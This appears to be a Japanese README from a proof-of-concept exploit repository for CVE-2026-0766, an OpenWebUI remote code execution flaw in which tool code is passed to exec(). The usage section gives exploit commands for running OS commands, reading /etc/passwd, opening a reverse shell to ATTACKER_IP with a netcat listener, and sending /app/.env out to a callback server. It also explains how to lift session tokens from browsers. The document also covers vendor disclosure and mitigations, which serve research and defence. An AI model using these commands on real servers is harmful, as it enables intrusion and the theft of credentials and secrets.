
CVE-2026-0766の概念実証エクスプロイト。OpenWebUIにおけるツールコードインジェクションを介したリモートコード実行の脆弱性です。コマンド実行、ファイル読み取り、リバースシェル、ブラインド外部送信モードを含みます。
教育目的のセキュリティ研究リポジトリ
このリポジトリには、Zero Day Initiative (ZDI) によって発見・公開された OpenWebUI のリモートコード実行脆弱性 CVE-2026-0766 の概念実証(PoC)エクスプロイトコードが含まれています。
このリポジトリは、許可されたセキュリティテストおよび教育目的のみを対象としています。
著者は、このコードの誤用について一切の責任を負いません。利用者は、自身の活動がすべての適用法規に準拠していることを確認する責任を負います。
| プロパティ | 値 |
|---|
| CVE ID | CVE-2026-0766 |
| 発見者 | Zero Day Initiative (ZDI) |
| 影響を受けるソフトウェア | OpenWebUI |
| 脆弱性の種類 | コードインジェクション (CWE-94) |
| CVSS スコア | 8.8 HIGH |
| CVSS ベクター | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 攻撃の複雑さ | 低(認証された管理者、またはツールの作成・更新権限を持つユーザーが悪用可能) |
OpenWebUI は、大規模言語モデル(LLM)向けのセルフホスト型 Web インターフェースです。ChatGPT に似たエクスペリエンスを提供し、組織は自社のインフラストラクチャ上で実行することで、LLM の会話とデータをオンプレミスに保持できます。
OpenWebUI には、ユーザーが Python コードを送信して LLM の機能を拡張できる「ツール」機能が含まれています。このコードは、Python の exec() 関数を介してサンドボックス化、検証、セキュリティ制御なしでサーバー側で実行されます。
エクスプロイトの流れ:
POST /api/v1/tools/create を介して「ツール」を作成するcontent フィールドに保存されるutils/plugin.py 内で exec(content, module.__dict__) を呼び出す重要なポイント: コードは LLM がツールを呼び出すときではなく、ツール作成時に実行されます。つまり、悪意のあるツールを作成するだけで RCE が発動し、それ以上の操作は不要です。
このエクスプロイトは以下で検証されています:
この脆弱性は構造的なもの(ユーザー入力に対する安全でない exec() の使用)であり、OpenWebUI チームによるセキュリティパッチがリリースされるまで、すべてのバージョンに存在します。
脆弱性は backend/open_webui/utils/plugin.py に存在します:
def load_tool_module_by_id(tool_id: str, content: str):
# 最小限の前処理(セキュリティ制御ではない)
content = replace_imports(content)
# モジュールを作成し、ユーザーコードを実行
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← 脆弱性
return module
replace_imports() 関数はインポートパスを書き換えるだけ(外観上の処理)で、実行できるコードを制限しません。以下が存在しません:
OpenWebUI チームは当初、ツールの作成には管理者権限が必要であると指摘し、これを優先度の低い問題と評価しました。しかし:
ベンダーが管理者による制限付きアクセスでの管理を提案した後、ZDI は防御者に情報を提供するため、これを 0-day 脆弱性 (ZDI-26-032) として公開しました。
著者はオープンソースプロジェクトの維持における課題を尊重しています。 セキュリティパッチには、ユーザーのニーズ、アーキテクチャ上の制約、限られたリソースのバランスが必要です。この公開は、セキュリティチームがリスクを評価し、緩和策を実装するのに役立つことを目的としています。
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
エクスプロイトスクリプト(exploit.py)は複数の攻撃モードをサポートしています:
OS コマンドを実行し、出力を取得します:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
サーバーのファイルシステムからファイルを読み取ります:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
リバースシェルを起動します(netcat リスナーが必要):
# 攻撃者マシンで:
nc -lvnp 4444
# エクスプロイトを実行:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
コマンド出力を HTTP コールバックサーバーに送信します:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
スクリプトはJWT トークン(SSO ログインから)とAPI キーの両方を受け付けます:
JWT トークンの取得方法:
token クッキーの値を探しますAuthorization: Bearer ... ヘッダーをコピーしますlocalStorage.getItem("token") を実行します--token eyJhbGci...OpenWebUI を実行しており、すぐにパッチを適用できない場合:
exec() を安全な代替手段に置き換える:
RestrictedPython を使用する権限チェックを追加する:
多層防御:
MIT ライセンス - 詳細は LICENSE ファイルを参照してください。
このコードは教育および防御的なセキュリティ目的で提供されています。著者は誤用について責任を負いません。
この脆弱性は責任を持って開示されました:
オープンソースプロジェクトでセキュリティ脆弱性を発見した場合は、責任ある開示の慣行に従い、公開前にメンテナーにパッチ適用の時間を与えてください。
質問やフィードバックについて: このリポジトリで issue を開いてください。